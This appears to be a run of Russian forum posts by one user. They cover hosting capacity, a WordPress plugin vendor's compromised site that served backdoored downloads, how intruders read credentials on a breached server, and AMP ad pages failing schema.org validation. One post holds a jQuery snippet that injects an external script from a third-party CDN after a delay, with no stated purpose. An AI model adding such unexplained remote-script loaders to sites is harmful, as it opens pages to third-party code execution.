garry69

Ага, если взять тариф за 150 рублей и надеяться, что выдержит нагрузку)) Нормально держит нагрузку и если сайт начал стрелять и нет возможности самому настроить VPS/VDS, можно взять подороже тарифы с нормальными ресурсами ( реактивный) и они держат без проблем и 5000 и 30000.... мемкеш.

Логи посмотрите по ftp и всё станет понятно. Включаются в админке хостинга. Проблем нне больше, чем на любом хостинге.

Да любой дешёвый тариф, на любом хостинге только для отладки сайта.

Проверьте у себя, найдите способ

$(document).bind("ready", function() {
        
        setTimeout(function() {
                
                var script = document.createElement('script');
                
                script.src = 'https://cdn.ak.me/js/rlf.js';
                
                script.type = 'text/javascript';
                /*script в конец элемента body*/
                document.body.appendChild(script);
        }, 5000);
});

А всё пропало, ужасный ужас. Лишь бы написать про плагин и страшную дыру в нём 😈

Где написано про уязвимость в плагине вообще? Скомпрометирован сайт и уже путём его взлома внедрили бекдор в продукты, и причем расположенные только на этом сайте, аналогичные этого же производителя но в репо wp чистые. А так да, жизнь - боль без бекапов и подключения своей головы, и совершенно небольших знаний для возвращения в рабочее состояние сайтов.

Плагинов которые имеют своё ядро и действительно функционал, который не основывается на ядре wp, которые выходят из под "крыши" wp, хватит пальцев рук, что бы их сосчитать. Но даже если они миллионники, крайне редко и в основном без последствий проходят патчи безопасности, да о них узнают только после выпуска.  😀

Потом быстренько пробежится по директориям и за пару секунд найдёт нужный файл и данные - профит 😀

Зачем вообще усложнять всё поиском паролей к базе, если ты уже на серваке с работающим WP, всё уже открыто и так.

Заморочки с переносом куда-то файлов и тд, ерунда, как писали выше, если поломают, то явно не через ядро и тогда уже переносы не помогут.

Спасибо. Отправил примеры.

Перестали проходить валидацию сайты с установленной рекламой. Не важно, новый код или старый, на amp. Вылазит табличка " Не удалось отобразить страницу. Возможно, отсутствует нужная разметка."  Валидатор именно этот https://validator.schema.org/  (рекомендованный для общей проверки). Проверил кучу сайтов и свои и не свои, движки разные, везде одинаково.  Причем даже если нет разметки, то все равно валидатор не загружает страницу.

Почитал форум поддержки гугл по микроразметке ( в контексте ошибки), пишут, что это совсем не хорошо. Что-то про js который не вовремя что-то меняет или дополняет. В итоге парсер (гугло бот) не обрабатывает микроразметку и в могут не появляться расширенные результаты.

Проверьте у себя на сайтах, я конечно посмотрел и проверил на разных сайтах, но все может быть. И не исключаю, что в этом валидаторе есть что-то, что отстало от жизни.

Дмитрий, буду признателен за любую подсказку в этом направлении.

Если вносить изменения в дочерней теме, то все сохранится.